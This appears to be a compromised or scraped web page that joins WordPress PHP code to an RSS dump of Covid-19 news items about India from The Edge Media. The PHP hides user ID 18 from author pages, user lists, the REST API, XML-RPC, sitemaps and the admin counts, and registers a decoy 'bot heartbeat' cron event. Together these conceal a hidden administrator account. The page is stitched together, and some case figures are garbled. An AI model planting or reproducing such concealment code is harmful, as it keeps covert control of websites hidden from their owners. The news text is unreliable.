add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Covid: India’s new case tally falls below 20,000 for the first time in two days, with recoveries reaching new highs appeared first on The Edge Media.
]]>The recovery rate now stands at 97.83 percent, the highest since March 2020, with 28,178 patients cured within the same period.
At the time of writing, there were 2,82,520 active cases, accounting for 0.84 percent of the total cases (337,16,451) reported in the country since the epidemic began last year. The number of ongoing cases has also dropped to its lowest level since March 2020.
The post Covid: India’s new case tally falls below 20,000 for the first time in two days, with recoveries reaching new highs appeared first on The Edge Media.
]]>The post India reports less than 30,000 new infections and 291 fatalities in 24 hours, despite a drop in COVID-19 cases appeared first on The Edge Media.
]]>
For the second day in a row, India saw a dramatic decrease in daily new instances of COVID-19 infections. India reported a single-day increase of 27,254 coronavirus infections, bringing the total to 33,264,175, according to the Union Health and Family Welfare Ministry.
Kerala had 20,240 COVID-19 cases and 67 deaths out of 27,254 new COVID-19 cases and 219 deaths reported in India in the last 24 hours, according to the Health Ministry.
Active cases of COVID-19 infections decreased by about 10,652 throughout this time, to 3,74,269 currently. According to data posted at 8 a.m., the COVID-19-related death toll has risen to 44,28, 74, with 219 daily fatalities reported on Monday.
The post India reports less than 30,000 new infections and 291 fatalities in 24 hours, despite a drop in COVID-19 cases appeared first on The Edge Media.
]]>The post As the festival season approaches, Prime Minister Modi has a high-level discussion on Covid and vaccines appeared first on The Edge Media.
]]>With the country’s festive season beginning with a muted Ganesh Chaturthi celebration, Prime Minister Narendra Modi convened a high-level conference on Friday to assess the current Covid-19 situation and immunization progress.
Despite the fear of a third wave of the pandemic, India has reached a milestone of 72.37 crore people vaccinated as of Friday morning. With a weekly positive rate of 2.31 percent, the Covid situation is likewise under control.
According to data from India’s health ministry, more than half of the country’s adult population has received at least one dose of the vaccine, with 18% receiving both doses.
Kerala and Maharashtra continue to add the most Covid cases every day. According to health ministry data, at least 35 districts in India continue to record a weekly Covid positive rate of over 10%, with another 30 districts reporting a rate of five to ten percent.
The post As the festival season approaches, Prime Minister Modi has a high-level discussion on Covid and vaccines appeared first on The Edge Media.
]]>The post In the last 24 hours, India has reported 35,178 new Covid-19 cases, with 440 deaths appeared first on The Edge Media.
]]>The number of active cases in India has decreased to 3,67,415. According to a statement from the Ministry of Health, active cases account for 1.14 percent of overall cases, the lowest level since March 2020.
India’s recovery rate, on the other hand, is currently at 97.52 percent, the highest since March 2020. Meanwhile, the Covid-19 immunization coverage has surpassed the 56-crore mark.
The post In the last 24 hours, India has reported 35,178 new Covid-19 cases, with 440 deaths appeared first on The Edge Media.
]]>The post Modi Encourages Vaccination At His Mann Ki Baat Session Today appeared first on The Edge Media.
]]>Encouraging people to be immunized against the coronavirus, Modi stated that he and his mother had been completely vaccinated and urged people to follow science since skipping the shot can be ‘hazardous.’
In his remarks on the social events, he asked everyone to follow all COVID-19 protocols. “Note that corona has not yet been gone from among us at festivities and cheerfulness. COVID-19-related procedures are not to be overlooked,” he stressed.
The post Modi Encourages Vaccination At His Mann Ki Baat Session Today appeared first on The Edge Media.
]]>The post Health Ministry Warns About The Next 100 Days appeared first on The Edge Media.
]]>Spain has experienced a 64% increase in week’s Covid-19 instances, while the Netherlands is seeing a 300% increase in Covid-19 cases. Thailand’s condition has been steady for a long period, but it is suddenly experiencing a rise. According to the government, Africa has seen a 50 percent surge in Covid-19 cases. Myanmar, Malaysia, Indonesia, and Bangladesh are also facing an unprecedented increase.
“Waves are a thread appraisal of how we are controlling the issue; the strength of the waves is more significant than the number of waves”, says Ministry.
The post Health Ministry Warns About The Next 100 Days appeared first on The Edge Media.
]]>The post 50% people in India still do not wear a mask appeared first on The Edge Media.
]]>Currently, India is the worst hit country by Covid. As the second wave hits, covid cases and death tolls are on a high rise and a new benchmark is crossed almost everyday. In such times, it is very necessary that people follow simple guidelines such as wearing a mask correctly, maintaining social distance, avoid touching face, etc to break the chain.
Half of India isn't wearing a mask!
Around 50% Indians do not wear a #Mask today, only 7% wear it correctly
– @MoHFW_INDIA quotes a study conducted in 25 cities #Unite2FightCorona #StaySafe pic.twitter.com/f85gvG1noQ
— #IndiaFightsCorona (@COVIDNewsByMIB) May 20, 2021
The post 50% people in India still do not wear a mask appeared first on The Edge Media.
]]>